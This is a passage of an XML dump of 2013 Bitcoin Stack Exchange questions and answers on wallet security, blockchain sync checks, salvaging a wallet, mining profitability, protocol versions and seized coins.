CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13522" PostTypeId="1" AcceptedAnswerId="13586" CreationDate="2013-09-29T21:40:39.710" Score="1" ViewCount="431" Body="&lt;p&gt;blockchain.info encrypts and hashes everything clientside, as well as doing all of the signing of transactions clientside. It only sends already encrypted and signed data to the server, where the server then plugs that data into their RPC to transmit it to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does a service like this exist for Litecoin or another scrypt based alt-coin? &lt;/p&gt;&#xA;" OwnerUserId="6024" LastActivityDate="2013-10-04T05:37:13.860" Title="is there a litecoin wallet website that does NOT store your private key serverside?" Tags="|security|litecoin|private-key|server|public-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13523" PostTypeId="2" ParentId="13521" CreationDate="2013-09-29T22:21:36.257" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I am planning on building a small e-wallet website to learn the basics of encryption and handling accounts, transactions, and balances in Bitcoin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is really not the place to learn. Even the most hardened Bitcoin services get attacked on a regular basis. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Using brainwallet, the process for account creation is this:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&quot;Brain wallets&quot; are an incredibly easy way for users to lose all of their funds. It happens every day. Think your 8 word sentence is strong enough? Chances are that it's not, and there's at least three bots that will empty the wallet in seconds of it receiving funds. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Now, whenever a user wishes to spend a transaction on my site I am attempting to use brainwallet to send transactions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The code you're referencing is just a frontend for blockchain.info and the bitcoinjs library. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As a side note: is this a sound process for storing and transmitting data to the server?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info uses this method for it's web wallet, but no, it's very unsafe and offers very little in the way of security. If your server is compromised, the keys still are. If you are malicious, you can just backdoor the client scripting and nobody would ever know. It is not secure, and a service using this type of system shouldn't be advertising itself as such. &lt;/p&gt;&#xA;" OwnerUserId="6454" LastActivityDate="2013-09-29T22:21:36.257" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13524" PostTypeId="1" CreationDate="2013-09-30T04:33:32.120" Score="2" ViewCount="119" Body="&lt;p&gt;So that I can build something like &lt;a href=&quot;http://www.bitcoincharts.com/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;http://www.bitcoincharts.com/charts/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; in PHP? Is there any official data feed or do I have to go through the entire network programatically to get them?&lt;/p&gt;&#xA;" OwnerUserId="6916" LastActivityDate="2013-10-30T06:45:28.517" Title="Where can I find the raw stats data of the current bitcoin network?" Tags="|network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13525" PostTypeId="2" ParentId="13524" CreationDate="2013-09-30T05:59:04.613" Score="2" Body="&lt;p&gt;There's APIs like &lt;a href=&quot;https://blockexplorer.com/q/&quot; rel=&quot;nofollow&quot;&gt;https://blockexplorer.com/q/&lt;/a&gt; which provide the information, or you can just collect it yourself from your own &lt;code&gt;bitcoind&lt;/code&gt;. Most of it is fairly straightforward, but there's a few which you need to do some analysis on if you generate it yourself (like difficulty estimation). &lt;/p&gt;&#xA;" OwnerUserId="6454" LastActivityDate="2013-09-30T05:59:04.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13527" PostTypeId="2" ParentId="11878" CreationDate="2013-09-30T17:00:59.857" Score="2" Body="&lt;p&gt;You can create the backup of the wallet as normally, then use for example bzip2 to compress it. Then you use base64 to make the data printable, then just copy it in openoffice for example to print it (Not to small. Default size should be good). Later you can use OCR software to scan the text again.&lt;/p&gt;&#xA;" OwnerUserId="548" LastActivityDate="2013-09-30T17:00:59.857" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13528" PostTypeId="1" CreationDate="2013-09-30T18:29:09.127" Score="1" ViewCount="389" Body="&lt;p&gt;I catch myself on the thought, that I don't know how to verify that block chain downloaded or not yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How exactly I can be sure that all is ok with bitcoind or altcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. &quot;&lt;strong&gt;terracoind getinfo&lt;/strong&gt;&quot; brings: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;terracoind getinfo&#xA;&#xA;{   &#xA;    &quot;version&quot; : 80002,&#xA;    &quot;protocolversion&quot; : 70001,&#xA;    &quot;walletversion&quot; : 60000,&#xA;    &quot;balance&quot; : 0.00000000,&#xA;    &quot;blocks&quot; : 142718,&#xA;    &quot;timeoffset&quot; : -6,&#xA;    &quot;connections&quot; : 8,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;difficulty&quot; : 13505.04606600,&#xA;    &quot;testnet&quot; : false,&#xA;    &quot;keypoololdest&quot; : 1380559952,&#xA;    &quot;keypoolsize&quot; : 101,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or &lt;strong&gt;novacoind&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;novacoind getinfo             &#xA;&#xA;{   &#xA;    &quot;version&quot; : &quot;v0.4.4.5-2-gde717f9-dirty-beta&quot;,&#xA;    &quot;protocolversion&quot; : 60010,&#xA;    &quot;walletversion&quot; : 60000,&#xA;    &quot;balance&quot; : 0.00000000,&#xA;    &quot;newmint&quot; : 0.00000000,&#xA;    &quot;stake&quot; : 0.00000000,&#xA;    &quot;blocks&quot; : 19043,&#xA;    &quot;timeoffset&quot; : -15,&#xA;    &quot;moneysupply&quot; : 384762.67195300,&#xA;    &quot;connections&quot; : 16,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;ip&quot; : &quot;128.73.179.81&quot;,&#xA;    &quot;difficulty&quot; : 97.09844140,&#xA;    &quot;testnet&quot; : false,&#xA;    &quot;keypoololdest&quot; : 1380559917,&#xA;    &quot;keypoolsize&quot; : 101,&#xA;    &quot;paytxfee&quot; : 0.01000000,&#xA;    &quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are 3 answers about bitcoind:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10859/how-to-check-bitcoind-block-chain-download-progress-level&quot;&gt;How to check Bitcoind block chain download progress level&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And only about downloading side part block-chain info. &lt;strong&gt;Is it true, that nothing embedded into default bitcoind for that task?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="6886" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-12-02T21:53:06.807" Title="How to be sure that whole of block chain downloaded?" Tags="|alternatives|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13529" PostTypeId="1" CreationDate="2013-09-30T18:46:45.890" Score="2" ViewCount="9160" Body="&lt;p&gt;I bought BTC and sent them straight to my Bitcoin-QT wallet. Now opened my wallet (ver. 4.8.3) and it says ~29000 blocks remaining to synchronize but this is not happening even though I have 14 active connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried accessing my Private Key through both Help&gt;DebugWindow&gt;Console and the version using CMD bitcoind dumpprivkey etc with both returning the error message &quot;&lt;em&gt;Safe mode: Warning: Displayed transactions may not be correct! You may need to upgrade, or other nodes may need to upgrade. (code -2)&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have an encrypted wallet and just want to have access to my money.&lt;/p&gt;&#xA;" OwnerUserId="6919" LastEditorUserId="132" LastEditDate="2013-10-01T09:59:43.787" LastActivityDate="2014-07-01T08:45:51.370" Title="Trying to access my BTC from Bitcoin-Qt wallet that is out of sync" Tags="|wallet|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13530" PostTypeId="2" ParentId="13529" CreationDate="2013-09-30T20:34:24.380" Score="1" Body="&lt;p&gt;Assuming you mean 0.8.4 ? (Or 3). Latest is 0.8.5 now but nevertheless...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12001/what-is-the-fastest-possible-way-to-download-the-blockchain&quot;&gt;What is the fastest possible way to download the blockchain?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;Although I wouldn't recommend the bootstrap.dat answer because you'd need to create a new wallet for that--and eventually would likely have to resume syncing the old one anyway. &lt;/strike&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; it appears I'm mistaken about the above paragraph.  The thing to know about bootstrap.dat is your client still has to verify everything that was imported over the network so it's still going to take some time. But a combination of both answers might be best. And only download from a trusted source. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to just get the fastest connections as per the &quot;high bandwidth&quot; answer.  There's really nothing much you can do in the meantime because wherever else you try to send the coins is not going to go through until the entire block chain is synced. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've gone through this when I had to re-download the whole thing after a kernel panic -- LFMF -- don't import the private keys elsewhere before it's synced.  &lt;/p&gt;&#xA;" OwnerUserId="6321" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-09-30T22:02:55.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13531" PostTypeId="2" ParentId="13519" CreationDate="2013-09-30T21:15:14.207" Score="1" Body="&lt;p&gt;&lt;strong&gt;Addendum:&lt;/strong&gt; It looks like the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=306389.msg3294069#msg3294069&quot; rel=&quot;nofollow noreferrer&quot;&gt;coins have been found&lt;/a&gt;; just quoting the relevant solution from the external thread so we have a complete answer on record. Long story short, the problem was as we suspected: the paper wallet did not contain all of the change addresses from the 5btc of transactions that had occured since tge import. Simple fix: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I started the client with &lt;code&gt;/Applications/Bitcoin-Qt.app/Contents/MacOS/Bitcoin-Qt -salvagewallet&lt;/code&gt;. It's still syncing with the network, but it looks promising as it's now showing a +4.9315 balance!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Ok, I'm beginning to piece together what happened now. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;At least according to your blockchain links, you initially received 10 BTC via 3 transactions, at the 1Fr3p address then spent 5 on 17 april. So that particular address only had 5 remaining at the time of the import to coinbase. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When you import rather than send, the coins will still show in both wallets;  if you send them from the old one after that this will not update in the new wallet because of &lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;nofollow noreferrer&quot;&gt;change addresses&lt;/a&gt;.  Importing != spending. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You will additionally need to import the change addresses that have been created since using bitcoin-qt to coinbase for everything to sync correctly.  Check out &lt;a href=&quot;https://bitcointalk.org/index.php?topic=260621.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;this thread&lt;/a&gt;.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As far as fixing the crazy transaction, I'm not sure what to do there.  Hopefully when you finish importing everything it will manage to work itself out in the client?  Don't send anything else from the old wallet again--once you can use  the coins  available in the coinbase wallet, send from there only. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to use qt client again, create a new wallet for all transactions moving forward. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt;&#xA;What do you know about these transactions from &lt;a href=&quot;https://blockchain.info/address/1Fr3pfbm41pDtqSiPeh2UYeX2mvZXq15bi&quot; rel=&quot;nofollow noreferrer&quot;&gt;your link in the comments&lt;/a&gt;?  Your client is only showing the -.01 portion of those tx but the remainder seems to be what's missing...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b3ZOd.jpg&quot; width=&quot;320&quot; height=&quot;346&quot; alt=&quot;screenshot from blockchain.info&quot; title=&quot;screenshot from blockchain.info&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6321" LastEditorUserId="6321" LastEditDate="2013-10-09T04:55:12.837" LastActivityDate="2013-10-09T04:55:12.837" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13532" PostTypeId="2" ParentId="13528" CreationDate="2013-09-30T23:31:16.107" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it true, that nothing embedded into default bitcoind for that task?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There's not really any way of knowing if you have the most recent block, or the network is just being unlucky. You as a user can make some discrimination though, and it's fairly easy. Just look at the most recent block you have, and decide if the timestamp is sane. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoind getinfo &#xA;{ ... &quot;blocks&quot; : 260984, ... }&#xA;&#xA;$ bitcoind getblock 260984&#xA;{ ... &quot;time&quot;:1380583774, ... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems reasonable enough, so I can assume my bitcoind is up to date. &lt;/p&gt;&#xA;" OwnerUserId="6454" LastActivityDate="2013-09-30T23:31:16.107" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13533" PostTypeId="2" ParentId="9712" CreationDate="2013-10-01T08:44:15.410" Score="2" Body="&lt;p&gt;You have to spend your bitcoins in small amounts. I don't think there is any other way. Try to send as large as possible to pay less fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This piece of code is preventing QT from sending transactions that are larger than 100Kb. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned int nBytes = ::GetSerializeSize(*(CTransaction*)&amp;amp;wtxNew, SER_NETWORK, PROTOCOL_VERSION);&#xA;                    if (nBytes &amp;gt;= MAX_STANDARD_TX_SIZE)&#xA;                    {&#xA;                        strFailReason = _(&quot;Transaction too large&quot;);&#xA;                        return false;&#xA;                    }&#xA;                    dPriority /= nBytes;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;MAX_STANDARD_TX_SIZE is MAX_BLOCK_SIZE_GEN/5 and MAX_BLOCK_SIZE_GEN is 500Kb.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2013-10-01T08:44:15.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13534" PostTypeId="1" AcceptedAnswerId="13536" CreationDate="2013-10-01T12:17:01.320" Score="6" ViewCount="2313" Body="&lt;p&gt;I am a beginner looking into Bitcoin mining. I don't want to waste time (or electricity) so I started looking into hardware mining rigs, for example:&#xA;&lt;a href=&quot;https://www.kncminer.com/categories/miners&quot; rel=&quot;nofollow&quot;&gt;Saturn&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;priced at $3000 USD, &#xA;275GH/s, consumes ~400Watt&#xA;(or even Monarch from butterfly labs which claims 600GH/sec @ 350W, priced $4700)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put these numbers + my local electricity price + current difficulty into a decent &lt;a href=&quot;http://blockchained.com/profit/index.php&quot; rel=&quot;nofollow&quot;&gt;calculator&lt;/a&gt;, &#xA;and I get &gt;7,000 $USD profit for 3 months time frame (or &gt;18,000$ for the Monarch). Sounds a bit too good to be true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know BTC/USD rate might fluctuate, and that the miner will produce heat, but still. - Where's the catch/mistake, if at all?&lt;/p&gt;&#xA;" OwnerUserId="6924" LastEditorUserId="5406" LastEditDate="2016-01-20T20:23:32.580" LastActivityDate="2016-01-20T20:23:32.580" Title="Mining profitability sounds too good, where is the catch?" Tags="|mining-profitability|mining-hardware|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13535" PostTypeId="2" ParentId="9128" CreationDate="2013-10-01T14:32:42.017" Score="-1" Body="&lt;p&gt;Install &lt;a href=&quot;http://software.intel.com/en-us/vcsource/tools/opencl-sdk&quot; rel=&quot;nofollow&quot;&gt;Intel SDK for OpenCL* Applications&lt;/a&gt;. I'm gussing it's a framework for &lt;a href=&quot;https://en.wikipedia.org/wiki/OpenCL&quot; rel=&quot;nofollow&quot;&gt;OpenCL&lt;/a&gt;. It worked for me.&lt;/p&gt;&#xA;" OwnerUserId="6926" LastEditorUserId="1405" LastEditDate="2014-01-11T10:39:20.613" LastActivityDate="2014-01-11T10:39:20.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13536" PostTypeId="2" ParentId="13534" CreationDate="2013-10-01T15:20:19.633" Score="11" Body="&lt;p&gt;Keep in mind that &lt;em&gt;difficulty&lt;/em&gt; also evolves over time: the more hashes the network produces, the higher the difficulty becomes.  As of this writing the difficulty is 148,819,199.  By my computation, each additional 275GH/s rig that joins the network will increase the difficulty by about 40,000; if 4,000 of them are sold, the difficulty will more than double (not counting all the competing mining rigs that may join the network).  And of course, in a few more months, there may be even more powerful rigs available.  So you should expect difficulty to rise, perhaps sharply, and this will decrease your profitability over time.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-10-01T15:20:19.633" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13537" PostTypeId="1" AcceptedAnswerId="13548" CreationDate="2013-10-01T16:35:57.947" Score="6" ViewCount="2211" Body="&lt;p&gt;How do I find out what version &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#version&quot; rel=&quot;noreferrer&quot;&gt;Protocol specification&lt;/a&gt; is describing?&lt;/p&gt;&#xA;" OwnerUserId="6707" LastEditorUserId="6707" LastEditDate="2013-10-01T20:45:05.727" LastActivityDate="2015-05-27T17:59:01.527" Title="How do I find out what the latest protocol version is?" Tags="|development|protocol|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13538" PostTypeId="1" CreationDate="2013-10-01T17:47:34.757" Score="3" ViewCount="1190" Body="&lt;p&gt;I can't get createrawtransaction to work in PHP using jsonRPC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this thread &lt;a href=&quot;https://bitcointalk.org/index.php?topic=133769.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=133769.0&lt;/a&gt; from a few months ago describing the process. It won't work however, no matter how many different ways I try it...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$arg1 = array( array( &quot;txid&quot;=&amp;gt;$lasttx, &quot;vout&quot;=&amp;gt;$n));&#xA;$arg2 = array( $address=&amp;gt;$coins);&#xA;&#xA;&#xA;array(1) {&#xA;  [0]=&amp;gt;&#xA;  array(2) {&#xA;    [&quot;txid&quot;]=&amp;gt;&#xA;    string(64) &quot;valid_tx_id_goes_here&quot;&#xA;    [&quot;vout&quot;]=&amp;gt;&#xA;    int(1)&#xA;  }&#xA;}&#xA;array(1) {&#xA;  [&quot;valid_address_goes_here&quot;]=&amp;gt;&#xA;  float(0.01)&#xA;}&#xA;&#xA;&#xA;$this-&amp;gt;bitcoind-&amp;gt;createrawtransaction($arg, $arg2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: All of the other commands work, like &lt;code&gt;getblock&lt;/code&gt; and etc. So I'm connected to the RPC server clearly. The errors aren't helpful either -- it says unable to connect when I output the error for createrawtransaction, but all of the other commands go through the RPC fine and are able to connect. I wish I knew how to even begin debugging this.&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="6024" LastEditDate="2013-10-01T18:01:23.163" LastActivityDate="2018-01-03T12:08:36.390" Title="jsonRPC calling createrawtransaction in PHP" Tags="|transactions|development|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13539" PostTypeId="2" ParentId="4329" CreationDate="2013-10-01T18:39:54.840" Score="3" Body="&lt;p&gt;I think this should help:&#xA;&lt;a href=&quot;http://bitcoincharts.com/charts/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/charts/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can view all the historical data:&#xA;&lt;a href=&quot;http://bitcoincharts.com/charts/mtgoxUSD#tgSzm1g10zm2g25zv&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/charts/mtgoxUSD#tgSzm1g10zm2g25zv&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you need any specific date you can hit &quot;Custom time&quot;. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="6927" LastActivityDate="2013-10-01T18:39:54.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13540" PostTypeId="2" ParentId="13537" CreationDate="2013-10-01T19:26:24.493" Score="6" Body="&lt;p&gt;As of october 2013, the protocol version is 70001. It's not linked anymore to client versions (so it doesn't correspond to version 0.7.0.1 in particular; 70001 was introduced in 0.8.0), and is intended to go up in increments of one, as changes specified in BIPs are implemented.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-10-01T19:26:24.493" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13543" PostTypeId="1" CreationDate="2013-10-02T05:10:51.683" Score="2" ViewCount="554" Body="&lt;p&gt;My last back up of wallet.dat was from the beginning of the year. My computer crashed recently and I don't have the most recent wallet.dat after receiving bitcoins. If I use my outdated wallet.dat, do I lose the new bitcoins I received?&lt;/p&gt;&#xA;" OwnerUserId="6934" LastEditorUserId="5406" LastEditDate="2014-06-17T21:18:00.050" LastActivityDate="2014-06-17T21:18:00.050" Title="If your wallet.dat back up is outdated, do you lose your coins since the back-up?" Tags="|backup|lost-wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13544" PostTypeId="2" ParentId="13543" CreationDate="2013-10-02T08:52:27.263" Score="4" Body="&lt;p&gt;If you made more than 100 transactions and individual receiving addresses combined, yes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best way to find out is to try. &lt;/p&gt;&#xA;" OwnerUserId="6454" LastActivityDate="2013-10-02T08:52:27.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13545" PostTypeId="1" AcceptedAnswerId="13571" CreationDate="2013-10-02T10:24:41.053" Score="0" ViewCount="896" Body="&lt;p&gt;I'm mining LTC on a public p2pool node. The owner says there is a fee of 1%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to verify this is true for me as a miner?&lt;/p&gt;&#xA;" OwnerUserId="6441" LastEditorUserId="5406" LastEditDate="2016-04-10T10:21:31.513" LastActivityDate="2016-04-10T10:21:31.513" Title="How to find out a p2pool's node fee/donation setting?" Tags="|mining-reward|p2pool|donation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13547" PostTypeId="2" ParentId="13545" CreationDate="2013-10-02T12:12:48.640" Score="1" Body="&lt;p&gt;Not really, you have to trust that the owner is being truthful. In actuality they could be stealing every bit of work you submit, but I'd like to think that they wouldn't. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't trust the node, it's up to you to run your own. &lt;/p&gt;&#xA;" OwnerUserId="6454" LastActivityDate="2013-10-02T12:12:48.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13548" PostTypeId="2" ParentId="13537" CreationDate="2013-10-02T12:34:50.027" Score="0" Body="&lt;p&gt;The latest protocol version can be found by looking at the latest canonical Bitcoin client implementation source code currently v0.8.5 at &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.8.5/src/version.h#L28&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/v0.8.5/src/version.h#L28&lt;/a&gt;. This should tally with what is described at &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6707" LastActivityDate="2013-10-02T12:34:50.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13550" PostTypeId="1" AcceptedAnswerId="21031" CreationDate="2013-10-02T19:55:53.853" Score="30" ViewCount="1357" Body="&lt;p&gt;It was reported today that the US government shut down the web site Silk Road, where people bought and sold things (allegedly including illegal drugs) using Bitcoins.  The operator was arrested, and BTC 26000 was seized.  (Source: &lt;a href=&quot;http://www.nytimes.com/2013/10/03/nyregion/operator-of-online-market-for-illegal-drugs-is-charged-fbi-says.html?hp&amp;amp;_r=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;New York Times&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few months ago, it was also &lt;a href=&quot;http://letstalkbitcoin.com/users-bitcoins-seized-by-dea/#.Ukx4LnjWGRY&quot; rel=&quot;nofollow noreferrer&quot;&gt;reported &lt;/a&gt; that the US Drug Enforcement Agency seized BTC 11.02 from a person suspected of buying or selling illegal drugs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anything known about what the US government (or any other government) does with seized coins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Sell them on an exchange for USD, and turn the proceeds over to the Treasury&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sell them at public auction, as is commonly done with other seized property&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use them in future sting operations&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do not return them to circulation, but hold them indefinitely&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Destroy them by transferring them to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1851/how-to-generate-a-valid-bitcoin-address-for-destroying-bitcoins/1852#1852&quot;&gt;an address with no private key&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="121614" LastEditDate="2023-10-15T16:53:12.503" LastActivityDate="2023-10-15T16:53:12.503" Title="What does the US government do with seized coins?" Tags="|legal|government|silk-road|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13551" PostTypeId="1" CreationDate="2013-10-02T20:34:40.017" Score="3" ViewCount="538" Body="&lt;p&gt;The size of the Bitcoin network is available here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoinstatus.rowit.co.uk/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinstatus.rowit.co.uk/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the page says, they do this by listening for Address messages that are broadcast over the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the Ripple server is now open-source, we can expect a number of individuals and companies to start running their own nodes. Is there a way to estimate the size of the network, either using an RPC command on the server, or by modifying the server code itself to collect some information about the peers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be interested in the following numbers:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Number of public servers&lt;/li&gt;&#xA;&lt;li&gt;Number of validators&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I imagine the first one could be obtained by querying peers recursively. Unfortunately the RPC interface is only available to 127.0.0.1 by default. As for the second metric, I'm guessing we can get this by looking at the ledger.&lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2015-03-26T08:28:51.887" Title="How big is the Ripple network?" Tags="|ripple|network|" AnswerCount="1" CommentCount="0" ClosedDate="2020-05-06T08:14:15.290" ContentLicense="CC BY-SA 3.0" />
  <row Id="13552" PostTypeId="1" AcceptedAnswerId="13554" CreationDate="2013-10-02T20:57:34.480" Score="5" ViewCount="203" Body="&lt;p&gt;Is there a mailing list where software developers and other interested parties can have technical discussions about the Ripple source code and other aspects of the network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Stack Exchange is more suitable for Q&amp;amp;A, where questions have definite answers.&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="5406" LastEditDate="2013-10-04T00:04:50.787" LastActivityDate="2020-04-16T21:43:11.677" Title="What is the appropriate forum for technical discussions about Ripple?" Tags="|ripple|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
